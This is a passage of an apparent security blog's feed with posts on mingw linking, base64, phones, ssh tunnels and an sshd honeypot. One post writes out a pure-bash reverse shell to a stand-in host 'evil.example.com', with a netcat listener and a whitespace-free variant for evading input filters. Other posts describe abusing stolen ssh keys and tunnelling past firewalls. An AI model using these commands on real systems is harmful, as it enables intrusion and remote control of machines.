scheme='http://www.blogger.com/atom/ns#' term='ridiculous'/><category scheme='http://www.blogger.com/atom/ns#' term='problems linking ws2_32'/><title type='text'>Minimal indeed</title><content type='html'>&lt;a href="http://www.mingw.org/"&gt;Mingw&lt;/a&gt;, or Minimal GNU for Windows, is a really cool project.  The idea is to have a gcc that will run anywhere gcc will run and can make Windows executables.  It does this well, giving programmers the ability to link native Windows libraries in a non-windows environment.  It differs from the standard gcc in a significant way that I discovered this evening: order of arguments is quite important.  Whereas standard gcc will accept "&lt;code&gt;gcc code_that_uses_math_dot_h.c -lm&lt;/code&gt;" and "&lt;code&gt;gcc -lm code_that_uses_math_dot_h.c&lt;/code&gt;" as meaning exactly the same thing, mingw32-gcc is not so forgiving.&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;egypt@bastet ~ $ cat mintest.c &lt;br /&gt;#if defined( _WIN32 )&lt;br /&gt; #include &amp;lt;winsock2.h&amp;gt;&lt;br /&gt;#else&lt;br /&gt; typedef int SOCKET;&lt;br /&gt; #include &amp;lt;arpa/inet.h&amp;gt;&lt;br /&gt;#endif&lt;br /&gt;#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;#include &amp;lt;string.h&amp;gt;&lt;br /&gt;&lt;br /&gt;#define PORT 1234&lt;br /&gt;&lt;br /&gt;int main () { &lt;br /&gt;        struct sockaddr_in saddr;&lt;br /&gt;        SOCKET s;&lt;br /&gt;        SOCKET client;&lt;br /&gt;#if defined( _WIN32 )&lt;br /&gt;        WSADATA w;&lt;br /&gt;        WSAStartup(0x101, &amp;w);&lt;br /&gt;#endif&lt;br /&gt;        printf("Hello world\n");&lt;br /&gt;#if defined( _WIN32 )&lt;br /&gt;        WSACleanup();&lt;br /&gt;#endif&lt;br /&gt;        return 0;&lt;br /&gt;}&lt;br /&gt;egypt@bastet ~ $ mingw32-gcc -lws2_32 mintest.c -o mintest.exe &lt;br /&gt;/tmp/cc7dCAKg.o:mintest.c:(.text+0x29): undefined reference to `_WSAStartup@8'&lt;br /&gt;/tmp/cc7dCAKg.o:mintest.c:(.text+0x41): undefined reference to `_WSACleanup@0'&lt;br /&gt;collect2: ld returned 1 exit status&lt;br /&gt;egypt@bastet ~ (1) $ ls -l mintest.exe&lt;br /&gt;ls: cannot access mintest.exe: No such file or directory&lt;br /&gt;egypt@bastet ~ $ mingw32-gcc mintest.c -lws2_32 -o mintest.exe&lt;br /&gt;egypt@bastet ~ $ ls -l mintest.exe&lt;br /&gt;-rwxr-xr-x 1 egypt egypt 13K Mar 11 21:50 mintest.exe*&lt;br /&gt;egypt@bastet ~ $ file mintest.exe&lt;br /&gt;mintest.exe: MS-DOS executable PE  for MS Windows (console) Intel 80386 32-bit&lt;br /&gt;egypt@bastet ~ $ &lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;The moral of the story is this: if you're having trouble getting mingw to properly link a library, put the .c as your first argument. &lt;br /&gt;&lt;br /&gt;/me grumbles&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27714325-1203291025523549314?l=0xegypt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0xegypt.blogspot.com/feeds/1203291025523549314/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=27714325&amp;postID=1203291025523549314' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27714325/posts/default/1203291025523549314'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27714325/posts/default/1203291025523549314'/><link rel='alternate' type='text/html' href='http://0xegypt.blogspot.com/2008/03/minimal-indeed.html' title='Minimal indeed'/><author><name>egypt</name><uri>http://www.blogger.com/profile/11769900739692795929</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-27714325.post-7535343631234674833</id><published>2008-01-29T20:59:00.000-08:00</published><updated>2008-01-30T01:17:53.911-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='bash'/><category scheme='http://www.blogger.com/atom/ns#' term='shovel'/><category scheme='http://www.blogger.com/atom/ns#' term='pure bash'/><title type='text'>/bin/bashed</title><content type='html'>Bash can read and write pipes on a specific file descriptor, like so:``&lt;tt&gt;echo foo &gt;&amp;2&lt;/tt&gt;'' which prints to file descriptor 2 and ``&lt;tt&gt;cat &lt;&amp;2&lt;/tt&gt;'' which reads from file descriptor 2.  Just like in the rest of the unix world, file descriptor 0 is stdin, 1 is stdout, and 2 is stderr unless they've been redirected.  In fact, we're not limited to 0, 1, and 2 -- we have up to 1023 to play with.  To open a new one, we use the syntax: ``&lt;tt&gt;cat 3&lt;&gt;foo.txt &lt;&amp;3&lt;/tt&gt;'' which has the same effect as ``&lt;tt&gt;cat foo.txt&lt;/tt&gt;'', but piped through file descriptor 3.&lt;br /&gt;&lt;br /&gt;Bash also has a little known feature that allows opening a tcp connection with the special filename: /dev/tcp/hostname/port.  ``&lt;tt&gt;echo foo &gt; /dev/tcp/example.com/9999&lt;/tt&gt;'' will perform a DNS lookup for example.com, attempt to connect to TCP port 9999 of the resulting IP address, and send the string "foo" to the socket.&lt;br /&gt;&lt;br /&gt;Putting these things together...&lt;br /&gt;&lt;pre&gt;&lt;b&gt;targetbox / $&lt;/b&gt; /bin/bash 3&lt;&gt;/dev/tcp/evil.example.com/9999 &lt;&amp;3 &gt;&amp;3 &amp;&lt;/pre&gt;&lt;br /&gt;and we've got a shell shoveler in pure bash, no outside executables.  Catch it with: &lt;br /&gt;&lt;pre&gt;&lt;b&gt;evil / $&lt;/b&gt; nc -l -p 9999&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Same thing; pure bash, now with no spaces for getting around input filters:&lt;br /&gt;&lt;code&gt;eval${IFS}"bash${IFS:0:1}3&lt;&gt;/dev/tcp/evil.example.com/9999${IFS:0:1}&lt;&amp;3${IFS:0:1}&gt;&amp;3${IFS:0:1}&amp;"&lt;/code&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27714325-7535343631234674833?l=0xegypt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0xegypt.blogspot.com/feeds/7535343631234674833/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=27714325&amp;postID=7535343631234674833' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27714325/posts/default/7535343631234674833'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27714325/posts/default/7535343631234674833'/><link rel='alternate' type='text/html' href='http://0xegypt.blogspot.com/2008/01/binbashed.html' title='/bin/bashed'/><author><name>egypt</name><uri>http://www.blogger.com/profile/11769900739692795929</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-27714325.post-3203229173487740770</id><published>2008-01-28T21:47:00.000-08:00</published><updated>2008-01-28T21:48:01.244-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='base64'/><category scheme='http://www.blogger.com/atom/ns#' term='encoding'/><category scheme='http://www.blogger.com/atom/ns#' term='ridiculous'/><category scheme='http://www.blogger.com/atom/ns#' term='encryption'/><title type='text'>base64-encrypt()</title><content type='html'>&lt;a href="http://www.kb.cert.org/vuls/id/180876"&gt;http://www.kb.cert.org/vuls/id/180876&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Base64 encoding is just that: encoding.  It's a way to ensure that text with strange characters can be sent on the wire in an unambiguous, portable manner.  It is not, and was never meant to be, encryption.  There is no added security by encoding a password with base64.  Just like there is no added security by encoding a password with rot13.  It is no more than obfuscation; perhaps less than obfuscation since base64 on the wire sticks out and says, "Hey, look at me!"  Taking an authentication mechanism that is secured by real encryption and sending it back out in plaintext (or, equivalently, encoded with base64) is ridiculous.&lt;br /&gt;&lt;br /&gt;So don't ever do that.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27714325-3203229173487740770?l=0xegypt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0xegypt.blogspot.com/feeds/3203229173487740770/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=27714325&amp;postID=3203229173487740770' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27714325/posts/default/3203229173487740770'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27714325/posts/default/3203229173487740770'/><link rel='alternate' type='text/html' href='http://0xegypt.blogspot.com/2008/01/base64-encrypt.html' title='base64-encrypt()'/><author><name>egypt</name><uri>http://www.blogger.com/profile/11769900739692795929</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-27714325.post-1867989718313025033</id><published>2007-10-16T22:54:00.000-07:00</published><updated>2007-10-17T01:11:18.951-07:00</updated><title type='text'>The Perfect Phone</title><content type='html'>There's been a lot of hype lately about the iPhone.  It looks snazzy.  It has Wifi, EDGE, Bluetooth, and all the other bells and whistles a high-end phone is expected to have these days.  But it's not the phone for me.  Before the iPhone were several Nokia offerings that are almost up to my standards.  The Treo and the Blackberry look like the same story: almost what I want but not quite.&lt;br /&gt;&lt;br /&gt;What I want in a phone are these features:&lt;br /&gt;&lt;ul&gt;&lt;br /&gt;&lt;li&gt;Wifi -- preferably with a chipset that allows me to run kismet.  Better yet would be one that allows me to run Lorcon and/or livetap.&lt;br /&gt;&lt;li&gt;Large amounts of flash storage.  I'd prefer this to be internal but I don't care what the medium is.  I'll buy extra storage media without complaining too much.  With as cheap as USB flash devices are getting these days, it should be a gigabyte at minimum.&lt;br /&gt;&lt;li&gt;charge over usb&lt;br /&gt;&lt;li&gt;a camera would be cool but not strictly necessary.  I used to think that I would prefer a phone with no camera because some places won't allow cameras.  I've recently come to realize that most places that don't allow cameras also don't allow phones.&lt;br /&gt;&lt;li&gt;Bluetooth for the sole purpose of connecting to a laptop and using the phone as a bridge.&lt;br /&gt;&lt;li&gt;a browser that handles javascript and flash decently.  I know this isn't as big a problem as it used to be, but the five-lines-of-text-at-a-time that my old Samsung presented as "Internet" just doesn't cut it.&lt;br /&gt;&lt;li&gt;a big enough screen to display many lines of text.&lt;br /&gt;&lt;li&gt;Unix-like operating system.  This is necessary to be able to have a useful shell.&lt;br /&gt;&lt;li&gt;a good way to input text.  This is necessary to be able to interact with that shell.&lt;br /&gt;&lt;li&gt;Bash or the equivalent.  I can do everything on the commandline faster and more efficiently.  &lt;br /&gt;&lt;li&gt;an ssh client.  What's the point of being connected 24/7 if i can't be connected to the machines that do my bidding?  This also gets me to irc and other various programs that have become tethered to my brain over the last several years.&lt;br /&gt;&lt;li&gt;nmap -- this also means I need raw packets.&lt;br /&gt;&lt;li&gt;a ruby interpreter.&lt;br /&gt;&lt;li&gt;other third party applications (some of which will undoubtedly be written by me).&lt;br /&gt;&lt;/ul&gt;&lt;br /&gt;And I want it all without having to go through the pain and discomfort of JailBreak and other forms of warranty-voiding DMCA-violating kludges.&lt;br /&gt;&lt;br /&gt;Basically, I want my Thinkpad in a 4.5 x 2.5 x 0.5 inch, 5 ounce package that can make calls.&lt;br /&gt;&lt;br /&gt;The &lt;a href="http://openmoko.com/"&gt;FIC Neo1973&lt;/a&gt; looks very promising on the software front.  The entire phone is open; it's based on Linux and everything from the circuit boards to the kernel to the frontend is user modifiable.  That has strong appeal.  Unfortunately, it has no Wifi which makes it nearly useless to me.  The second generation, which does have wifi, is advertised as being available early 2008 but since it was advertised as being available on October 1 earlier this year, I'm not holding my breath.&lt;br /&gt;&lt;br /&gt;The iPhone has nice hardware and a nice interface.  But for it to be useful requires breaking laws.  I boycott products that have that property in the hopes that manufacturers will start making things open enough to be useful for more than their own highly-defined and highly-limited idea of useful.&lt;br /&gt;&lt;br /&gt;The Nokia N800 looks like everything I want -- Linux-based; wifi; third party development is encouraged; hell, &lt;a href="http://immunitysec.com/products-silica.shtml"&gt;Immunity&lt;/a&gt; built a pentesting tool out of them -- but it's not a phone.  Maybe I'll just get one of these and keep my crappy free-with-service-agreement 6103.  I would be much more interested in the Nokia E90 if it ran Linux.  I just can't justify a thousand dollars for a phone without being sure beforehand that I'll like it.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27714325-1867989718313025033?l=0xegypt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0xegypt.blogspot.com/feeds/1867989718313025033/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=27714325&amp;postID=1867989718313025033' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27714325/posts/default/1867989718313025033'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27714325/posts/default/1867989718313025033'/><link rel='alternate' type='text/html' href='http://0xegypt.blogspot.com/2007/10/perfect-phone.html' title='The Perfect Phone'/><author><name>egypt</name><uri>http://www.blogger.com/profile/11769900739692795929</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-27714325.post-8797247883959538351</id><published>2007-06-11T20:14:00.000-07:00</published><updated>2007-06-11T21:33:30.121-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='mosquito'/><category scheme='http://www.blogger.com/atom/ns#' term='mosref'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><title type='text'>Ephemeral: adj. lasting for only a short period.</title><content type='html'>&lt;a href="http://mosref.sourceforge.net/repos/mosvm/"&gt;Mosref&lt;/a&gt; (MOsquito Remote Execution Framework) is what Metasploit's Meterpreter really wants to be.  It is (on paper) a platform-agnostic virtual machine and Lisp interpreter with strong encryption on top of multiple communication channels.  In reality, I could never get it to compile; nor could many other people based on the conversation in the mosref mailing list.  And even if I could have, I would have had to learn the Mosquito dialect of Lisp for it to be any kind of useful.&lt;br /&gt;&lt;br /&gt;After Wes Brown's and Scott Dunlop's talk about it at Defcon 14, I really wanted to see Mosquito succeed.  Unfortunately, it never had any updates after that talk (the last developer cvs transaction according to source forge was the initial commit).  The mailing list contained almost no discussion of development.  This afternoon I visited ephemeralsecurity.com only to discover that the domain is now parked by an advertiser and whois lists the owner as "Domain Discreet".  I was disappointed to learn this but not surprised.&lt;br /&gt;&lt;br /&gt;Oh, well.  If you want a platform-independent in-memory rootkit, you'll just have to write it yourself.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27714325-8797247883959538351?l=0xegypt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0xegypt.blogspot.com/feeds/8797247883959538351/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=27714325&amp;postID=8797247883959538351' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27714325/posts/default/8797247883959538351'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27714325/posts/default/8797247883959538351'/><link rel='alternate' type='text/html' href='http://0xegypt.blogspot.com/2007/06/ephemeral-adj-lasting-for-only-short.html' title='Ephemeral: adj. lasting for only a short period.'/><author><name>egypt</name><uri>http://www.blogger.com/profile/11769900739692795929</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-27714325.post-7856632778203096874</id><published>2007-01-23T07:43:00.000-08:00</published><updated>2007-02-06T18:36:36.367-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='sshd'/><category scheme='http://www.blogger.com/atom/ns#' term='ssh'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><title type='text'>Turnabout</title><content type='html'>My home firewall runs an ssh server.  Every few days, I go through my logs and find that someone has been attempting to guess account names and passwords on that server.  For a while, I just allowed it to continue because I found it interesting to see what usernames were being guessed.  After a few months of getting guess attempts every couple of seconds with almost no interruptions from dozens of ip addresses, I decided I didn't want to take the risk of somebody actually getting in and set up iptables rules to blackhole any ip address that sent more than ten SYN packets to ssh in less than two minutes.  A friend pointed me to &lt;a href="http://denyhosts.sourceforge.net/"&gt;denyhosts&lt;/a&gt;, a tool to watch your logs for failed ssh attempts and put the offending host into your /etc/hosts.deny for a certain period of time.  This is effectively the same as the iptables rules.  Both of these methods are very effective but not as interesting as seeing all the usernames tried.  So I downloaded the source for openssh-4.4p1 and made a few modifications.  My new sshd:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Logs all connections&lt;/li&gt;&lt;li&gt;Logs usernames &lt;span style="font-style:italic;"&gt;and passwords&lt;/span&gt;&lt;/li&gt;&lt;li&gt;Never opens a shell no matter what&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;If you'd like to set this up yourself, you can download &lt;a href="http://egypt.homelinux.net/openssh-logger.tar.gz"&gt;the complete source&lt;/a&gt;, or if you already have the source for openssh-4.4p1, and don't want to download the whole thing just for a few modifications you can get just &lt;a href="http://egypt.homelinux.net/openssh-4.4p1Logger.diff"&gt;the diff&lt;/a&gt;.  Then run the following commands: &lt;pre&gt;&lt;br /&gt;tar xzvf openssh-logger.tar.gz&lt;br /&gt;cd openssh-logger&lt;br /&gt;./configure --prefix /usr/honey/ \&lt;br /&gt;  --with-privsep-path=/usr/honey/chroot \&lt;br /&gt;  --with-pid-dir=/usr/honey/var/run&lt;br /&gt;make&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;The purpose of putting it in a strange directory is that we don't want to hose your real ssh server.  If that went well, run:&lt;pre&gt;&lt;br /&gt;su&lt;br /&gt;make install&lt;br /&gt;touch /usr/honey/chroot/sshattacks.log&lt;br /&gt;chown sshd:sshd /usr/honey/chroot/sshattacks.log&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Remember: if you run a real ssh server, you'll want to change the port it listens on in your /etc/ssh/sshd_config.  You can add section to your ~/.ssh/config like this:&lt;pre&gt;&lt;br /&gt;Host &amp;lt;hostname&amp;gt;&lt;br /&gt;  Port &amp;lt;real server's port&amp;gt;&lt;br /&gt;&lt;/pre&gt; so your client will connect to the correct server.  Now everything should be set up and you should start seeing brute force attacks in /usr/honey/chroot/sshattacks.log in no more than a couple of days.&lt;br /&gt;&lt;br /&gt;Output will look something like this:&lt;br /&gt;&lt;code&gt;&lt;br /&gt;host: 10.0.0.100 port: 45677&lt;br /&gt;user: root pass: root&lt;br /&gt;user: root pass: t00r&lt;br /&gt;user: root pass: r00t&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;Happy hunting!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27714325-7856632778203096874?l=0xegypt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0xegypt.blogspot.com/feeds/7856632778203096874/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=27714325&amp;postID=7856632778203096874' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27714325/posts/default/7856632778203096874'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27714325/posts/default/7856632778203096874'/><link rel='alternate' type='text/html' href='http://0xegypt.blogspot.com/2007/01/turnabout.html' title='Turnabout'/><author><name>egypt</name><uri>http://www.blogger.com/profile/11769900739692795929</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-27714325.post-7556454244407719413</id><published>2007-01-15T20:32:00.000-08:00</published><updated>2007-01-30T20:10:07.802-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ssh'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><title type='text'>Nastier tricks with ssh</title><content type='html'>In my daily blog reading a week or so ago, I stumbled on &lt;a href="http://spoofed.org/blog"&gt;Jon Hart's blog&lt;/a&gt;.   In it, he notes the facts that root can read any file whatsoever on a *nix system and that ssh agent forwarding is accomplished using unix sockets.  The corollary to this is that root (or someone with access to your account) can steal your password-protected ssh keys after you decrypt them.&lt;br /&gt;&lt;br /&gt;Having used key-based authentication on a regular basis myself, this got me to thinking about other possibilities for an unrestricted user.  As it turns out, if a user can read someone else's private key file, one can authenticate with it.  Long story short, &lt;a href="http://egypt.homelinux.net/~egypt/tools/double0seven"&gt;I've modified&lt;/a&gt; &lt;a href="http://spoofed.org/blog/2006/12/secret_agent.html"&gt;Jon's code&lt;/a&gt; to also search out non-password-protected keyfiles and attempt to abuse them.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27714325-7556454244407719413?l=0xegypt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0xegypt.blogspot.com/feeds/7556454244407719413/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=27714325&amp;postID=7556454244407719413' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27714325/posts/default/7556454244407719413'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27714325/posts/default/7556454244407719413'/><link rel='alternate' type='text/html' href='http://0xegypt.blogspot.com/2007/01/nastier-tricks-with-ssh.html' title='Nastier tricks with ssh'/><author><name>egypt</name><uri>http://www.blogger.com/profile/11769900739692795929</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-27714325.post-7939660083973592050</id><published>2007-01-12T18:27:00.000-08:00</published><updated>2007-01-30T20:14:58.232-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='screen'/><category scheme='http://www.blogger.com/atom/ns#' term='ssh'/><title type='text'>On ssh and timeouts</title><content type='html'>It turns out that ssh by default doesn't like to stay connected forever.  If you setup a port forward as &lt;a href="2006/12/tricks-with-ssh.html"&gt;described below&lt;/a&gt; and don't connect to it right away one end or the other will timeout (not sure which, but it doesn't really matter).  To circumvent this issue, I've taken to setting up the forward, connecting to the remote box, then connecting through the port forward in a &lt;a href="http://www.gnu.org/software/screen/"&gt;screen&lt;/a&gt; session, and detaching screen (or not, depending on my mood).  Now ssh won't be able to tell that there's no interaction and will stay connected indefinitely.&lt;br /&gt;&lt;br /&gt;Incidentally, if you love the power of the command line and haven't heard of screen, you should install it at the earliest opportunity.  Thank me later.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27714325-7939660083973592050?l=0xegypt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0xegypt.blogspot.com/feeds/7939660083973592050/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=27714325&amp;postID=7939660083973592050' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27714325/posts/default/7939660083973592050'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27714325/posts/default/7939660083973592050'/><link rel='alternate' type='text/html' href='http://0xegypt.blogspot.com/2007/01/it-turns-out-that-ssh-by-default-doesnt.html' title='On ssh and timeouts'/><author><name>egypt</name><uri>http://www.blogger.com/profile/11769900739692795929</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-27714325.post-5421490748438829582</id><published>2006-12-17T12:48:00.000-08:00</published><updated>2006-12-19T21:14:24.065-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ssh'/><category scheme='http://www.blogger.com/atom/ns#' term='intar-tubes'/><title type='text'>Tricks with SSH</title><content type='html'>Do you want to ssh to your NATed box at home?  Want to connect in to your machine at work that drops SYN packets at the perimeter?  Tired of having to live without tab-completion and other handy features when an exploit sends a shell back to netcat?  SSH to the rescue.&lt;br /&gt;&lt;br /&gt;First, from the firewalled machine (call it BoxA) run:&lt;br /&gt;&lt;code&gt;ssh -nNT -R 2222:localhost:22 user@boxb.example.com &amp;&lt;/code&gt;&lt;br /&gt;then on BoxB.example.com:&lt;br /&gt;&lt;code&gt;ssh user@localhost -p2222&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;So what exactly does this do?  Let's take a look at the relevant sections from ``man ssh'':&lt;br /&gt;&lt;code&gt;&lt;br /&gt;-n Redirects stdin from /dev/null (actually, prevents reading from stdin).  This must be used when ssh is run in the background.&lt;br /&gt;&lt;br /&gt;-N Do not execute a remote command.  This is useful for just forwarding ports (protocol version 2 only).&lt;br /&gt;&lt;br /&gt;-T Disable pseudo-tty allocation.&lt;br /&gt;&lt;br /&gt;-R [bind_address:]port:host:hostport&lt;br /&gt;Specifies that the given port on the remote (server) host is to be forwarded to the given host and port on the local side.  This works by allocating a socket to listen to &lt;u&gt;port&lt;/u&gt; on the remote side, and whenever a connection is made to this port, the connection is forwarded over the secure channel, and a connection is made to host port &lt;u&gt;hostport&lt;/u&gt; from the local machine.&lt;br /&gt;...&lt;br /&gt;By default, the listening socket on the server will be bound to the loopback interface only.  This may be overriden by specifying a &lt;u&gt;bind_address&lt;/u&gt;.&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;``-nNT'' means we aren't going to give ssh any input, so don't execute a shell and don't allocate a tty.  -R is a little trickier; it says start forwarding port 2222 of the remote machine (BoxB) to port 22 of the machine you're running ssh from (BoxA).  Now when you run &lt;code&gt;ssh localhost -p2222&lt;/code&gt;, you're connecting to the port forward that you just set up which sends your connection through an encrypted tunnel to BoxA, bypassing the firewall rules because the tunnel is already connected.&lt;br /&gt;&lt;br /&gt;Caveats:&lt;br /&gt;&lt;ul&gt;&lt;br /&gt;&lt;li&gt;You're connecting to localhost from BoxB but the traffic is actually going to BoxA.  This will confuse ssh who thinks that localhost should have the same fingerprint each time.  To get around this, you'll likely have to delete the line beginning with ``localhost'' in your &lt;code&gt;~/.ssh/known_hosts&lt;/code&gt;.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;If you're using an exploit you'll have to know the account's password (or steal an ssh key)&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Don't complain to me if your sysadmin gets mad and blocks outbound ssh.  =)&lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;I love open source.  They've really thought of everything.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27714325-5421490748438829582?l=0xegypt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0xegypt.blogspot.com/feeds/5421490748438829582/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=27714325&amp;postID=5421490748438829582' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27714325/posts/default/5421490748438829582'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27714325/posts/default/5421490748438829582'/><link rel='alternate' type='text/html' href='http://0xegypt.blogspot.com/2006/12/tricks-with-ssh.html' title='Tricks with SSH'/><author><name>egypt</name><uri>http://www.blogger.com/profile/11769900739692795929</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-27714325.post-4237451992364833437</id><published>2006-11-21T20:50:00.000-08:00</published><updated>2006-11-21T22:48:45.844-08:00</updated><title type='text'>Securosis and Daringflamebait</title><content type='html'>I'm constantly updating my daily blog list and today I stumbled on securosis.com.  He's got decent &lt;a href="http://securosis.com/2006/11/21/repost-the-securosis-top-6-tips-for-safe-online-holiday-shopping/"&gt;advice&lt;/a&gt; for the less technically savvy (which happens to mirror a lot of what I've been telling the uninitiated for a while now).  He also explained to &lt;a href="http://daringfireball.net/"&gt;John Gruber&lt;/a&gt; that the so-called &lt;a href="http://daringfireball.net/2006/09/open_challenge"&gt;challenge&lt;/a&gt; he proposed to Ellch and Maynor &lt;a href="http://securosis.com/2006/09/05/mac-wi-fi-gruber-needs-to-let-it-go-and-maynor-and-ellch-should-ignore-the-challenge/"&gt; was asinine&lt;/a&gt; in a far more even tone than I might have.&lt;br /&gt;&lt;br /&gt;Plus this great quote: &lt;blockquote&gt;Give honest answers to honest questions, and when someone asks for the ROI of a firewall ask them for the ROI on their desk.&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img 